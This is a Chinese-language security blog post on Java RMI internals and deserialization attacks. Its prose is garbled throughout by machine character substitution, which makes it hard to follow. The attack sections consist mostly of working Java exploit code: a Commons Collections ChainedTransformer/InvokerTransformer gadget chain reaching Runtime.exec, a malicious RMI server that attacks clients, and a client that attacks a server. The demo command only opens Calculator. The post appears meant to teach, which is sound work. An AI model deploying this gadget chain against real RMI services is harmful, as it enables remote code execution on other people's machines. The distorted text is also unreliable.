共计 4218 个字符,预计需要花费 11 分钟才能阅读完成。
1、RMI 是什么
RMI(Remote Method Invocatio),是一种跨 JVM 实现办法调用的技术。个别由三个局部组成
-
Client(客户端) Registry 获得服务端注册的服务,而后调用近程办法
// Connect to RMI Registry :localhost:1099 Registry registry = LocateRegistry.getRegistry("localhost", 1099); // search service which called evil and cast type to EvilService EvilService evilService = (EvilService) registry.lookup("evil"); //call evil method and need to call "put" function to trigger //evilTransformerMap 办法具体的执行逻辑是在服务端执行的,并返回后果给 client Map evilObject = (Map)evilService.evilTransformerMap();
- Registry(注册核心) 能够了解成一个存储近程对象的字典,负责网络传输的模块
-
Server(服务端) 负责在注册核心注册服务,其实就是将一个近程对象给 Registry 进行封装
// 实例化一个 EvilService 即要绑定的对象 EvilService evilService = new EvilServiceImpl(); // 将此服务转换为近程服务接口 EvilService skeleton = (EvilService) UnicastRemoteObject.exportObject(evilService,0); // 创立注册核心 Registry registry = LocateRegistry.createRegistry(1099); // 将服务注册 registry.bind("evil",skeleton);
PS: 在低版本的 JDK 中,Server
与 Registry
是能够不在一台服务器上的,而在高版本的 JDK 中,Server
与 Registry
只能在一台服务器上,否则无奈注册胜利。
2、服务端或服务端与注册核心通信
2.1 本地获取注册核心
本地获取是在创立的同时返回 Registry
对象 (RegistryImpl
) 通过createRegistry
办法如:
Registry registry = LocateRegistry.createRegistry(1099);
获取对象后能够进行 bind,list,lookup,rebind,unbind
等操作
2.2 近程获取注册核心
通过 getRegistry
办法取得的对象是 RegistryImpl_Stub
对象而 createRegistry
取得的是 RegistryImpl
对象。
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
这两者的区别在于在对 Registry
进行操作的时候流程会有不同,有趣味的同学能够尝试打断点进行调试查看具体区别
2.3 客户端与服务端的通信
这里次要讲一下会引发反序列化的环节
当客户端发动调用近程办法的时候,实际上是客户端与 2.4 中的 Skeleton
进行通信,而如果返回客户端的执行后果是一个对象,则在客户端会对其进行反序列化
而当服务端接管的某个参数类型是 Object
的时候,则会呈现在服务端反序列化的状况。
2.4 流程图
3、反序列化攻打
3.1 攻打 Registry
注册核心间接利用 bind
或rebind
即可攻打这里不再赘述了
3.2 攻打 Client
EvilObject
public class EvilServiceImpl implements EvilService {public EvilServiceImpl(){ }
public Transformer gadgetTransformerChain(){
Transformer transformerChain = null;
try {transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})});
}catch (Exception e){e.printStackTrace();
}
return transformerChain;
}
public Object evilTransformerMap() throws RemoteException {
// 转化为 map
Map outputMap = TransformedMap.decorate(new HashMap<>(),null,gadgetTransformerChain());
return outputMap;
}
}
Server
public class RMIServer {public static void main(String[] args) {
try {
// 实例化一个 EvilService
EvilService evilService = new EvilServiceImpl();
// 将此服务转换为近程服务接口
EvilService skeleton = (EvilService) UnicastRemoteObject.exportObject(evilService,0);
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("evil",skeleton);
}catch (Exception e){e.printStackTrace();
}
}
}
Client
public class RMIClient {public static void main(String[] args) throws Exception {
// Connect to RMI Registry :localhost:1099
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
// search service which called evil and cast type to EvilService
EvilService evilService = (EvilService) registry.lookup("evil");
//call evil method and need to call "put" function to trigger
//deserialize will happen when function evilTransformerMap() is called
Map evilObject = (Map)evilService.evilTransformerMap();
evilObject.put("1","111");
}
}
3.3 攻打 Server
大体上没什么变动只是 evilObject
的发送方产生了变动
RMIClient
public class RMIClient {public static void main(String[] args) throws Exception {Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})});
Map outputMap = TransformedMap.decorate(new HashMap<>(),null,transformerChain);
// Connect to RMI Registry :localhost:1099
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
Service service = (Service) registry.lookup("evil");
// 触发服务端反序列化
service.evil(outputMap);
}
}
ServiceImpl
public class ServiceImpl implements Service {public ServiceImpl(){ }
@Override
public void evil(Object evilObject) throws RemoteException {((Map) evilObject).put("1","111");
}
}
4、修复
1、在高版本的 jdk(8u141)
中,RegistryImpl#bind
中增加了一个 checkAccess
办法,来测验你的起源是否为localhost
, 这个修复解决了攻打注册核心的问题